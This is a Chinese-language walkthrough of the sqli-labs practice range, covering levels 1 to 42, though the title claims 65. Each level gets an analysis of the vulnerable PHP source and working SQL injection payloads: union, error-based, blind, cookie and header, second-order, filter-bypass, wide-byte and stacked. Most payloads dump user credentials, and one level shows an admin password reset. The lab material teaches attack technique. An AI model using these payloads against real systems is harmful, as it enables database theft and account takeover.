sqli-lab注入靶场全部通关教程(1-65关)👻
sqli-lab注入靶场全部通关教程(1-65关)
基础挑战
Less-1(四个注入:联合,报错,时间,布尔)
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id='$id' |
源码分析
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
联合查询注入
1. 注入点发现
?id=1' and '1'='2
2. 猜测字段数
?id=1' order by 3-- -
3. 判断会显点为(2,3)
?id=-1' union select 1,2,3-- -
4. 爆出数据库和用户名
?id=-1' union select 1,user(),database()-- -
5. 爆出所有数据库名
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
6. 爆出 security
数据库的所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
7. 查看 users
表的所有列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
8. 查看 username
和 password
列的内容
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
报错注入
1. floor报错注入
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
2. extractvalue报错注入
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -
3. updatexml报错注入
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -
时间盲注
数据库的第一个字母为115,即s
if(a,b,c):如果a为真,则这个式子值为b,否则为c
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
布尔盲注
数据库的第一个字母为115,即s
?id=1' and (ascii(substr(database(),1,1))>114)--+
?id=1' and (ascii(substr(database(),1,1))>115)--+
Less-2
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,布尔,时间,报错 | id=$id |
源码分析
# 数字型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1 and 1=1-- -
Less-3
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id=('$id') |
源码分析
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1') and '1'='1'-- -
Less-4
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合,报错,时间,布尔 | id=("$id") |
源码分析
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1") and 1=1-- -
Less-5
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,时间,布尔 | id='$id' |
源码分析
因为页面不输出查询结果,因此不可以使用联合查询,但是不影响报错,布尔和时间注入。
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1' and 1=1-- -
Less-6
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错,时间,布尔 | id="$id" |
源码分析
因为页面不输出查询结果,因此不可以使用联合查询,但是不影响报错,布尔和时间注入。
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1" and 1=1-- -
Less-7
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间,布尔 | id=(('$id')) |
源码分析
因为把print_r(mysql_error())
给注释掉了,并且页面不显示查询结果,所以只能使用布尔注入和时间注入
具体利用方法和第一关一样,只是闭合方式不一样,这里就不做叙述。
示例:
?id=1')) and 1=1-- -
Less-8
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间,布尔 | id='$id' |
源码分析
具体方式跟第7关一样,就不再啰嗦了,只是闭合方式不一样。利用方法同第一关一样。
示例:
?id=1' and 1=1-- -
Less-9
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间 | id='$id' |
源码分析
因为这里不管是真
还是假
的输出结果都一样,所以这里就不能用布尔注入了,只能使用时间注入。
具体方式跟第8关一样,就不再啰嗦了。利用方法同第一关一样。
Less-10
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 时间 | id="$id" |
源码分析
因为这里不管是真
还是假
的输出结果都一样,所以只能使用时间注入。并且print_r(mysql_error())
给注释掉了,不能用报错。具体方式跟第9关一样,就不再啰嗦了,只是闭合方式不一样。利用方法同第一关一样。
Less-11
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username='$uname' and password='$passwd' |
因为这里是POST型注入,其实利用方式还是和第一关一样,但是这是一个POST型的,后面我估计应该都是POST型注入,所以还是写一写。
源码分析
联合查询注入
1. 注入点发现
uname=admin' or '1'='1&passwd=12&submit=Submit
2. 猜测字段数为2
uname=admin&passwd=1' order by 2#&submit=Submit
3. 判断会显点为(1,2)
uname=admin&passwd=1' union select 1,2#&submit=Submit
4. 爆出数据库和用户名
uname=admin&passwd=1' union select user(),database()#&submit=Submit
5. 爆出所有数据库名
uname=admin&passwd=1' union select (select group_concat(schema_name) from information_schema.schemata),2#&submit=Submit
6. 爆出 security
数据库的所有表
uname=admin&passwd=1' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#&submit=Submit
7. 查看 users
表的所有列名
uname=admin&passwd=1' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#&submit=Submit
8. 查看 username
和 password
列的内容
uname=admin&passwd=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#&submit=Submit
报错注入
1. floor报错注入
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
2. extractvalue报错注入
uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#&submit=Submit
3. updatexml报错注入
uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
时间盲注
数据库的第一个字母为115,即s
if(a,b,c):如果a为真,则这个式子值为b,否则为c
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=1&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=1&submit=Submit
布尔盲注
数据库的第一个字母为115,即s
uname=admin' and ascii(substr(database(),1,1))>114#&passwd=1&submit=Submit
uname=admin' and ascii(substr(database(),1,1))>115#&passwd=1&submit=Submit
Less-12
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username=("$uname") and password=("$passwd") |
源码分析
这里同第11关的注入方式一样,只是闭合方式不同,这里就不再示范了。
Less-13
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,布尔,时间 | username=('$uname') and password=('$passwd') |
源码分析
这里因为页面不管成功与否没有了回显,所以联合查询就用不了,其他的不影响,布尔查询可以通过成功或者失败的图片不一样判别。
这里同第11关的注入方式一样,只是闭合方式不同,这里就不再示范了。
Less-14
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,布尔,时间 | username="$uname" and password="$passwd" |
源码分析
第14关跟第13关除了闭合方式不一样,其他的完全一样的。利用方式也跟第11关一样,除了不能联合查询之外。
Less-15
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔,时间 | username='$uname' and password='$passwd' |
源码分析
我们可以看到print_r(mysql_error())
被注释了,所以这里我们不能用报错注入了,因为页面依然没有回显,联合注入也不能用。这关只能用布尔注入和时间注入。跟第14关的区别就是闭合方式不一样,然后报错注入不能用了。
具体利用方法同第11关有异曲同工之妙,灵活变通一下即可。
Less-16
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔,时间 | username=("$uname") and password=("$passwd") |
源码分析
同第15关一样,只是闭合方式不一样。利用方法参考第11关,灵活变通一下即可。
Less-17
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | password = '$passwd' |
源码分析
# uname参数进行了过滤
$uname=check_input($_POST['uname']); //check_input是代码写的一个过滤函数
# select语句只查询了uname参数,但是uname被过滤了,没什么用
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
# update语句查询了password参数,只有这里存在注入点
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
# 然后我们看到这里使用了mysql的报错语句,存在报错注入
print_r(mysql_error());
报错注入示例:
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=Submit
其实还是同第11关的方法灵活变通一下即可!
Less-18
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | VALUES ('$uagent') |
源码分析
# 获取请求的IP和Uagent
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
# 用户名和密码都被过滤了,没什么戏了大概
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
如果SQL语句正确,就会执行下面的Insert语句 //SQL语句是判断正确的用户名和密码
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
#接下来我们看到了Insert语句,它写入了uagent和IP到数据库中
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
接着输出:agent
输出:print_r(mysql_error());
这一关的注入点在Insert语句上,没有对U-agent和IP做过滤,而且输出了mysql的报错信息,所以本关支持报错注入。
PHP 获取客户端IP的变量有:
- $_SERVER['REMOTE_ADDR']:基本上不能被伪造,因为是直接从 TCP 连接信息中获取的
- $_SERVER['HTTP_CLIENT_IP']:很少使用了,可以伪造
- $_SERVER['HTTP_X_FORWARDED_FOR']:可以伪造
所以这里的IP是无法被伪造的,就只能通过uagent来进行注入,我们构造闭合利用报错注入来测试
User-Agent:1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Less-19
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错,时间 | VALUES ('$uagent') |
源码分析
这一关跟第18关的区别就是,现在注入点变成了Referer
字段,注入方式是一模一样。同样没有对Referer
和IP
做过滤。
Less-20
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | username='$cookee' |
源码分析
# 如果cookie中不存在uname参数,就会输出一堆无用的信息
if(!isset($_COOKIE['uname']))
输出一堆无用信息
# 然后判断uname和passwd是否存在,并进行过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 查询username和password的值是否正确,并把username赋值给cookie
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
# 最后通过这条SQL语句直接将cookie代入数据库中查询,没有过滤
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
# 把查询的值赋给result,如果result不存在,就会输出mysql报错
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
这一关主要注入点是在cookie,未对cookie参数做过滤。并且在页面存在输出回显,而且运用了mysql的报错函数mysql_error()
,所以这关存在联合查询,报错,布尔和时间盲注。鉴于cookie注入是第一次出现,还是啰嗦一下给个实例吧。
联合查询
Cookie: uname=admin' and 1=2 union select 1,2,(select group_concat(username,password) from users)#
报错注入
Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
布尔注入和时间注入就不示范了,基本跟上面的一样,稍微修改修改即可,自己动手写个小脚本跑跑也可以的👻
高级注入
Less-21
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | username=('$cookee') |
源码分析
# 如果cookie的uname参数不存在,输出一堆无用信息
if(!isset($_COOKIE['uname']))
输出无用信息
# 检查用户名和密码是否存在,存在就进行过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 然后执行SQL语句,将查询结果赋值给row1
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
# 有查询结果,把username赋值给cookie的uname参数
if($row1)
setcookie('uname', base64_encode($row1['username']), time()+3600);
else
print_r(mysql_error());
# 如果submit参数存在的话,把cookie的uname赋值给cookee,然后cookie经过base64编码代入数据库中查询
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
我们可以看到这一关跟20关基本一模一样,唯一的区别就是cookie base64加密之后在解密代入数据库中查询,所以这里我们只需要把payload经过base64加密就行了👻
联合注入
Cookie:uname=YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMpIw==
报错注入
Cookie:uname=YWRtaW4nKSBhbmQgKHNlbGVjdCAxIGZyb20gKHNlbGVjdCBjb3VudCgqKSxjb25jYXQodXNlcigpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhKSM=
时间注入跟布尔注入需要自行写脚本爆破,这里就不啰嗦了,跟前面的大致一样!
Less-22
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | username="$cookee" |
源码分析
# 如果cookie的uname参数不存在,输出一堆无用信息
if(!isset($_COOKIE['uname']))
输出无用信息
# 检查用户名和密码是否存在,存在就进行过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# 然后执行SQL语句,将查询结果赋值给row1
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
# 有查询结果,把username赋值给cookie的uname参数
if($row1)
setcookie('uname', base64_encode($row1['username']), time()+3600);
else
print_r(mysql_error());
# 如果submit参数存在的话,把cookie的uname赋值给cookee,然后cookie经过base64编码代入数据库中查询
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
# 这里给cookee加上双引号,然后代入数据库查询
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee LIMIT 0,1";
我们可以看到这一关跟21关基本一模一样,唯一的区别就是闭合方式不同,这里是双引号闭合,而21关是单引号+括号闭合。所以我们构造payload经过base64加密传入,这里示范下报错注入:
报错注入
Cookie:uname=YWRtaW4iIGFuZCAoc2VsZWN0IDEgZnJvbSAoc2VsZWN0IGNvdW50KCopLGNvbmNhdCh1c2VyKCksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSB4KWEpIw
Less-23
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | id='$id' |
源码分析
# 获取id的值
$id=$_GET['id'];
# 然后将id中的 # 和 -- 替换成空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
# 然后就行SQL查询
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 上面查询有结果:
输出信息
else
print_r(mysql_error());
我们发现这里对我们输入的 id
做了过滤,将#
和--
替换成了空,我们没法用注释符了,我们可以构造闭合绕过。
联合查询
?id=-1' union select 1,(select group_concat(username,password) from security.users),3 and '1'='1
报错查询
?id=-1' and (SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1
Less-24
这是一个经典的二次注入的题目,下面我们来分析一下源码,有好几个页面。
源码分析
- index.php
就是一个表单页面,没什么敏感代码,验证账号和密码,验证成功即可登录,否则登陆失败。页面如下:
-
忘记密码:左下角是忘记密码
-
新建用户:右下角是新建用户
-
fail.php
就是如果你登陆认证失败就将你跳转到index.php
。
- forgot_password.php
啥也不是,就一张图片,没什么用!👻
- logged-in.php
登录之后的信息显示,显示你的用户名和修改密码的表单
- new_user.php
创建新用户的前端代码,就是一些表单什么的
- login_create.php
创建新用户的后端代码:
# 对新建的用户名,密码,确认密码字段进行了转义
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 查询用户信息,如果用户已注册就无法注册
$sql = "select count(*) from users where username='$username'";
if 用户已存在:
弹出:<script>alert("The username Already exists, Please choose a different username ")</script>;
else
#将新建的用户插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
- login.php
# 登录的用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
# 登陆成功跳转到logged-in.php
- pass_change.php
# 获取当前用户名,然后当前密码,新密码和确认密码都被安全转义了
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
# 然后就是更新新密码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
我们进行一串分析发现好像都进行了转义,咋一看没啥注入点,实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。
二次注入 :简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
先看新建用户的地方:$username= mysql_escape_string($_POST['username']) ;
username 被 mysql_escape_string 函数过滤了,该函数的作用如下:
危险字符 | 转义后 |
---|---|
' | \' |
" | \" |
\ | \ |
再看刚刚那个更新语句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
ok,注入点就在这一句更新sql语句中,因为在pass_change.php
中username
是直接获取的,并没有进行安全转义。虽然在一开始我们注册新用户的时候username
被安全转义了,但是这个只是暂时的,最后存入数据库之后还是不变的。所以我们可以构造这样一条更新语句从而修改管理员admin
的密码:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass
我们在通过注册一个用户:admin'#123
,然后登录这个用户去修改密码就可以成功修改admin
的密码。
然后我们修改密码,就会成功修改admin
用户的密码,然后就可以用新密码登录admin
用户了。
Less-25
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | id='$id' |
源码分析
# 获取id
$id=$_GET['id'];
# id经过如下函数过滤
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
# 执行SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里id
输入过滤了or
和and
,然后是单引号拼接。还是存在很多绕过的。
符号替换
or -> ||
and -> &&
双写嵌套绕过
比如or
写成oorr
,password
写成passwoorrd
等
联合查询
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(passwoorrd) from security.users)-- -
报错注入
?id=1' || updatexml(1,concat(0x7e,user(),0x7e),1)-- -
Less-26
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | id='$id' |
源码分析
# 获取id
$id=$_GET['id'];
# id经过如下函数过滤
$id= preg_replace('/or/i',"", $id); //去掉or
$id= preg_replace('/and/i',"", $id); //去掉and
$id= preg_replace('/[\/\*]/',"", $id); //去掉/*
$id= preg_replace('/[--]/',"", $id); //去掉--
$id= preg_replace('/[#]/',"", $id); //去掉#
$id= preg_replace('/[\s]/',"", $id); //去掉空格
$id= preg_replace('/[\/\\\\]/',"", $id); //去掉\
# 执行SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们发现这一关跟25关没多大区别,就是黑名单数量增多了而已,过滤的东西更多了。下面我们具体分析一下:
- 过滤了 or 和 and 可以采用 双写或者 && || 绕过
- 过滤注释 可以使用闭合绕过
- 过滤了空格 可以使用如下的符号来替代:
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新建一页 |
%0d | return功能 |
%0b | TAB 键(垂直) |
%0a | 空格 |
报错注入
?id=-1'%0B||%0Bupdatexml(1,concat(0x7e,user(),0x7e),1)%0Baandnd%0B'1'='1
Less-27
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,报错,时间 | id='$id' |
源码分析
我们可以看到27跟26关的区别就是过滤函数更多了,对就这一个区别,我们看看怎么样绕过。
union 和 select 没有忽略大小写 导致写了很多冗杂的规则,但还是可以轻易绕过。
# 大小写混写
uniOn
SeLeCt
...
# 双写绕过
ununionion
selselectect
联合注入
?id=-100'%0BuniOn%0BSeLeCt%0B1,(selEct%0Bgroup_concat(username,password)%0Bfrom%0Bsecurity.users),3%0Band%0B'1
Less-28
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,时间 | id=('$id') |
源码分析
# 获取id值
$id=$_GET['id'];
# 然后经过黑名单过滤
$id= blacklist($id);
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
# SQL查询
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
# print_r(mysql_error())函数在本关注释了,所以没有报错注入
//print_r(mysql_error());
这一关就是闭合方式有一点变化,然后union select的大小写都过滤了(两个合起来过滤,比如union9select就不会过滤),但是我们还是可以通过双写绕过。
联合查询
?id=100%27)%0Bunion%a0SeLeCt%0B1,(select%0Bgroup_concat(username,password%0bseparator%0b0x3c62723e)%0Bfrom%0Bsecurity.users),3%0Band%0B(%271
Less-29
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id='$id' |
源码分析
$qs = $_SERVER['QUERY_STRING']; //从URL获取参数赋值给qs
$hint=$qs;
$id1=java_implimentation($qs); //进入java_implimentation函数
$id=$_GET['id'];
whitelist($id1);
java_implimentation功能:检测URL的所有参数,从第一个起检测到id之后就返回它对应的值,后面参数就不会检测了
whitelist的功能:一个白名单,只允许输入数字
这样我们可以构造两个id,第一个id经过java_implimentation
,然后这个id就会经过whitelist
检测,第二个id就逃脱检测了。
例如:
# 我们输入id=1&id=2
首先$_SERVER['QUERY_STRING']会将URL的参数赋值给&qs,然后进入java_implimentation函数,这个函数会用&作为分隔符将变量赋值给一个数组,然后从头开始遍历,找到id就返回它的值,退出函数。所以我们这个例子首先判断id=1,找到了id,然后返回id的值1给&id1,然后&id1经过白名单过滤
- Apache PHP 会解析最后一个参数
- Tomcat JSP 会解析第一个参数
报错注入
?id=1&id=2' or updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)-- -
Less-30
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id="$id" |
第30关跟29关没什么区别,就是拼接方式不一样
联合注入
?id=1&id=100" union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)-- -
Less-31
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id=("$id") |
这一关跟第30关没什么区别,就是闭合方式不一样,就不啰嗦了。
报错注入
?id=1&id=2") or updatexml(1,concat(0x7e,user(),0x7e),1)-- -
Less-32
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id='$id' |
源码分析
# 获取id
if(isset($_GET['id']))
# 进行过滤
$id=check_addslashes($_GET['id']);
# 过滤代码
function check_addslashes($string)
{
# 将\转义为\\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
将'转义为\'
$string = preg_replace('/\'/i', '\\\'', $string);
将"转义为\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df
吃点\
具体的原因是 urlencode(') =%5c%27
,我们在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。- 将
\'
的\
过滤掉
例如可以构造%5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法。
本关卡采用第一种%df
宽字节注入来吃掉反斜杠,下面直接丢 payload 吧:
?id=-1%df' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3--+
Less-33
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id='$id' |
源码分析
这一关跟32关没什么变化,拼接方式也一样,就是过滤方法不一样
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes()
函数返回在预定义的字符前添加反斜杠
预定义字符 | 转义后 |
---|---|
' | ' |
" | " |
\ | \ |
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。
注意:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
Less-34
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username='$uname' |
这一关跟33关没什么区别,只不过是GET变成了POST数据,下面是payload:
uname=admin%df%27+union+select+1%2C(select group_concat(username,password separator 0x3c62723e) from security.users)%23&passwd=123&submit=Submit
Less-35
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id=$id |
源码分析
# id经过check_addslashes过滤
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
# 进行SQL查询
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这题属实有点搞笑,addslashes
这个是用来转义单引号等预定义字符的,但是进行SQL查询却没用到符号,直接查询的。下面直接打payload试试:
?id=-1 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3#
Less-36
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | id='$id' |
源码分析
# 这一关主要调用了如下防护代码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
mysql_real_escape_string()
会检测并转义如下字符:
危险字符 | 转义后 |
---|---|
' | ' |
" | " |
\ | \ |
有没有发现这一关跟第34关的防护相同,是的,用34关的payload就行了。
联合注入
?id=-1%df' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3--+
Less-37
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间 | username='$uname' |
源码分析
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
这一关跟36关差不多,也是用的 mysql_real_escape_string
进行防护,只不过用的POST方式,直接上payload:
uname=admin%df%27+union+select+1%2C(select group_concat(username,password separator 0x3c62723e) from security.users)%23&passwd=123&submit=Submit
堆叠注入
原理介绍
MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:
Less-38
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间,堆叠 | id='$id' |
源码分析
# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
- 区别就是原来的SQL查询是:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
- 而现在的SQL查询是:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
payload:
?id=-1' union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),database();
Less-39
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间,堆叠 | id=$id |
这一关跟38关差不多,就是闭合方式不一样,直接上payload:
?id=-1 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3;
Less-40
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间,堆叠 | id=('$id') |
这一关跟39关差不多,就是闭合方式不一样,直接上payload:
?id=-1') union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3;
Less-41
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,布尔,时间,堆叠 | id=$id |
跟39关差不多,就是少了报错输出!不能报错注入了,就不再啰嗦了。👻
Less-42
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合,报错,布尔,时间,堆叠 | username='$username' |
